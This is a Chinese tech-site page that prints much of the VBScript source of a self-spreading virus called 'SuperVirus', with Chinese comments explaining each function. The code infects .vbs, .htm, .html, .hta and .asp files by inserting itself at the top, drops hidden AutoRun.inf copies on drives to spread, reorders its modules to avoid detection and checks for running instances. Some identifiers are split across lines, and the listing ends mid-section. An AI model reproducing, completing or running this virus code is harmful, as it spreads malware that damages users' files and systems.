扫一扫
分享文章到微信

扫一扫
关注官方公众号
至顶头条
//判断当前日期下是否已感染成功函数,false则感染(),true不感染 
引用  
Function IsOK(objfso, Now_V, path_f) 
On Error Resume Next 
Dim vf, p1, p2, p3 
//默认false 
IsOK = False 
//读配置文件 
Set vf = objfso.OpenTextFile(path_f, 1) 
p1 = Trim(vf.ReadLine) 
p2 = Trim(vf.ReadLine) 
p3 = Trim(vf.ReadLine) 
//如果第一行是OK,第二行是日期,则true 
If StrComp(p1, "OK", 1) = 0 And StrComp(p2, Now_V, 1) = 0 Then 
IsOK = True 
End If 
//第三行是Amin则给出管理选项 
If p3 = "Admin" Then 
MsgBox "You Are Admin!!! Your Computer Will Not Be Infected!!!" 
IsOK = True 
n = InputBox("0:退出; 1:监视系统; 2:传染文件", "SuperVirus脚本测试!") 
//0退出,1true,2false 
If n = 0 Then 
Wscript.Quit 
ElseIf n = 1 Then 
IsOK = True 
ElseIf n = 2 Then 
IsOK = False 
End If 
End If 
End Function 
//储存病毒头部代码函数 
引用  
Function Head() 
Head = VBCRLF & "’ATRWZPCAQPMYT1_1" & VBCRLF &_ 
"On Error Resume Next" & VBCRLF &_ 
"Dim Cnt, CntMax, Version, Name_V1, FullPath_V0, FullPath_V1, FullPath_Config,Sum_ModelCode,Head_V,Tail_V" & VBCRLF &_ 
"Dim ModelHead, ModelTail" & VBCRLF &_ 
"Cnt = 0" & VBCRLF &_ 
"CntMax = 1000" & VBCRLF &_ 
"Version = ""4""" & VBCRLF &_ 
"Name_V1 = GetUserName() & "".vbs""" & VBCRLF &_ 
"FullPath_V0 = GetSFolder(0) & Name_V1 ’主要执行文件关联转向" & VBCRLF &_ 
"FullPath_V1 = GetSFolder(1) & Name_V1 ’主要执行配置文件命令" & VBCRLF &_ 
"FullPath_Config= GetSFolder(1) & GetUserName() & "".ini""" & VBCRLF &_ 
"Sum_ModelCode = 26" & VBCRLF &_ 
"Head_V= GetHeadTail(0)" & VBCRLF &_ 
"Tail_V= GetHeadTail(1)" & VBCRLF &_ 
"ModelHead=""’ATRWZPCAQPMYT""" & VBCRLF &_ 
"ModelTail=""’SXHBAKUUEZF""" & VBCRLF 
End Function 
//生成已感染vbs调用代码 
引用  
Function VictimHead() 
VictimHead = Head() & VBCRLF &_ 
"Call VictimMain()" & VBCRLF &_ 
"Sub VictimMain()" & VBCRLF &_ 
" Call ExeVbs_Victim()" & VBCRLF &_ 
"End Sub" & VBCRLF &_ 
"’SXHBAKUUEZF1_1" & VBCRLF 
End Function 
//生成vbs病毒体调用代码 
引用  
Function VirusHead() 
VirusHead = Head() & VBCRLF &_ 
"Call VirusMain()" & VBCRLF &_ 
"Sub VirusMain()" & VBCRLF &_ 
" On Error Resume Next" & VBCRLF &_ 
" Call ExeVbs_Virus()" & VBCRLF &_ 
"End Sub" & VBCRLF & VBCRLF &_ 
"’SXHBAKUUEZF1_1" & VBCRLF 
End Function 
//生成已感染web页面调用代码 
引用  
Function WebHead() 
WebHead = Head() & VBCRLF &_ 
"Call WebMain()" & VBCRLF &_ 
"Sub WebMain()" & VBCRLF &_ 
" On Error Resume Next" & VBCRLF &_ 
" Call ExeVbs_WebPage()" & VBCRLF &_ 
"End Sub" & VBCRLF &_ 
"’SXHBAKUUEZF1_1" & VBCRLF 
End Function 
//判断病毒自身是否在运行的函数,True(在运行),False(不在运行) 
引用  
Function PreInstance() 
On Error Resume Next 
Dim num_cnt 
Dim strComputer, objWMIService, colProcessList, objProcess 
num_cnt = 0 
PreInstance = False 
strComputer = "." 
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 
Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process 
Where " & "Name = ’cscript.exe’ or Name = ’wscript.exe’") 
For Each objProcess in colProcessList 
If InStr(CStr(objProcess.CommandLine), WScript.ScriptFullName)>0 Then 
num_cnt = num_cnt + 1 
End If 
Next 
If num_cnt>= 2 Then 
PreInstance = True 
End If 
End Function 
//写入web页面 
引用  
Sub ExeVbs_WebPage() 
On Error Resume Next 
Dim objfso, vbsCode, VbsCode_Virus 
Set objfso = CreateObject(GetFSOName()) 
vbsCode = GetScriptCode("vbscript") 
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(v
bsCode, Sum_ModelCode) & VBCRLF & Tail_V 
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode) 
Call InvadeSystem(objfso, VbsCode_Virus) 
Set objfso = Nothing 
End Sub 
//写入vbs页面 
引用  
Sub ExeVbs_Victim() 
On Error Resume Next 
Dim objfso, vbsCode, VbsCode_Virus 
Set objfso = CreateObject(GetFSOName()) 
vbsCode = GetSelfCode(objfso, WScript.ScriptFullName) 
VbsCode_Virus = Head_V & Version & VBCRLF & VirusHead() & GetMainBody(v
bsCode, Sum_ModelCode) & VBCRLF & Tail_V 
VbsCode_Virus = ChangeModelOrder(VbsCode_Virus, Sum_ModelCode) 
Call InvadeSystem(objfso, VbsCode_Virus) 
Call Run(FullPath_V1) 
Set objfso = Nothing 
End Sub 
//创建AutoRun.inf文件的函数,参数f(fso对象),D(驱动器号),vbsCode(病毒自身代码) 
引用  
Sub AutoRun(objfso, D, vbsCode) 
On Error Resume Next 
Dim path_autorun, path_vbs, inf_autorun 
//autorun.inf完整路径加文件名 
path_autorun = D & ":\AutoRun.inf" 
//病毒文件完整路径加文件名 
path_vbs = D & ":\" & Name_V1 
//判断病毒文件是否存在,判断版本是否小于当前版本 
If objfso.FileExists(path_vbs) = False Or objfso.FileExists(path_autorun) = False 
Or GetVersion(objfso, path_vbs)<Version Then 
//存在则先清除 
If objfso.FileExists(path_autorun) = True Then 
objfso.DeleteFile path_autorun, True 
End If 
If objfso.FileExists(path_vbs) = True Then 
objfso.DeleteFile path_vbs, True 
End If 
//拷贝副本 
Call CopyFile(objfso, vbsCode, path_vbs) 
//设置文件属性为隐藏系统文件 
Call SetFileAttr(objfso, path_vbs) 
inf_autorun = "[AutoRun]" & VBCRLF & "Shellexecute=WScript.exe " & Name_V1 
& " ""AutoRun""" & VBCRLF & "shell\AutoRun=打开(&O)" & VBCRLF & "shell\AutoRun
\command=WScript.exe " & Name_V1 & " ""AutoRun""" & VBCRLF & "shell\AutoRun
1=资源管理器(&X)" & VBCRLF & "shell\AutoRun1\command=WScript.exe " & Name_V1 & " ""AutoRun""" 
Call CopyFile(objfso, inf_autorun, path_autorun) 
Call SetFileAttr(objfso, path_autorun) 
End If 
End Sub 
//感染文件,将代码插入到文件头,只传染小于Maxsize的文件,参数strPath(文件完整路径),fi(文件对象),objfso(fso对象),VbsCode_Victim(插入的代码),ftype(文件类型) 
引用  
Sub InfectHead(strPath, fi, objfso, VbsCode_WebPage, VbsCode_Victim, ftype, T) 
On Error Resume Next 
Dim tso, buffer, strCode , Maxsize 
Maxsize = 350000 
//只传染小于350000KB的文件 
If fi.Size< Maxsize Then 
Set tso = objfso.OpenTextFile(strPath, 1, True) 
buffer = tso.ReadAll() 
tso.Close 
//如果T=0则感染 
If T = 0 Then 
Select Case ftype 
Case "hta", "htm", "html", "asp" 
//判断是否已被感染 
If Isinfected(buffer, ftype) = False Then 
Set tso = objfso.OpenTextFile(strPath, 2, true) 
//生成网页脚本 
strCode = MakeScript(VbsCode_WebPage, 0) 
//插入到文件头 
tso.Write strCode & VBCRLF & buffer 
Cnt = Cnt + 1 
End If 
Case "vbs" 
If Isinfected(buffer, ftype) = False Then 
//去除Option Explicit的影响,因为Option Explicit语句之前不能放置任何代码 
n = InStr(buffer , "Option Explicit") 
If n<>0 Then 
buffer = Replace(buffer, "Option Explicit", "", 1, 1, 1) 
Set tso = objfso.OpenTextFile(strPath, 2, true) 
tso.Write vbsCode_Victim & VBCRLF & buffer 
Cnt = Cnt + 1 
Else 
Set tso = objfso.OpenTextFile(strPath, 2, true) 
tso.Write vbsCode_Victim & VBCRLF & buffer 
Cnt = Cnt + 1 
End If 
End If 
Case Else 
’ 
’ 
End Select 
//如果T=1则清除 
ElseIf T = 1 Then 
If Isinfected(buffer, ftype) = True Then 
n = InStrRev(buffer , Tail_V) 
If n<>0 Then 
buffer = Replace(buffer, Tail_V, "", n, 1, 1) 
Set tso = objfso.OpenTextFile(strPath, 2, True) 
tso.Write strCode & VBCRLF & buffer 
End If 
End If 
End If 
End If 
End Sub 
//更换模块顺序并生成网页脚本函数,参数strCode(vbs脚本),T(1:更换 0 :不更换) 
引用  
Function MakeScript(strCode, T) 
If T = 1 Then 
MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & ChangeModelOrd
er(strCode, Sum_ModelCode) & VBCRLF & "</" & "SCRIPT>" 
Else 
MakeScript = "<" & "SCRIPT Language = VBScript>" & VBCRLF & strCode & VBCRL
F & "</" & "SCRIPT>" 
End If 
End Function 
//获取病毒版本函数,参数f(fso),path_v(待判断的主程序完整路径) 
引用  
Function GetVersion(objfso, path_v) 
Dim FV, buffer 
Set FV = objfso.OpenTextFile(path_v, 1) 
buffer = FV.ReadAll() 
GetVersion = Mid(buffer, InStr(buffer, Head_V) + Len(Head_V), 1) 
End Function 
//获取不同脚本语言代码函数 
引用  
Function GetScriptCode(Languages) 
On Error Resume Next 
Dim soj 
For Each soj In document.Scripts 
If LCase(soj.Language) = Languages Then 
Select Case LCase(soj.Language) 
Case "vbscript" 
GetScriptCode = soj.Text 
Exit Function 
Case "javascript" 
GetScriptCode = soj.Text 
Exit Function 
End Select 
End If 
Next 
End Function 
//获得自身病毒代码 
引用  
Function GetSelfCode(objfso, FullPath_Self) 
On Error Resume Next 
Dim n, n1, buffer, Self 
Set Self = objfso.OpenTextFile(FullPath_Self, 1) 
buffer = Self.ReadAll 
n = InStr(buffer, Head_V) 
n1 = InstrRev(buffer, Tail_V) 
buffer = Mid(buffer, n, n1 - n + Len(Tail_V) + 1) 
GetSelfCode = buffer 
Self.Close 
End Function 
//获得病毒程序体 
引用  
Function GetMainBody(vbsCode, Sum_ModelCode) 
Dim i 
For i = 2 To Sum_ModelCode 
GetMainBody = GetMainBody & VBCRLF & GetModelCode(vbsCode, i) & VBCRLF 
Next 
End Function 
//更换模块顺序函数 
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。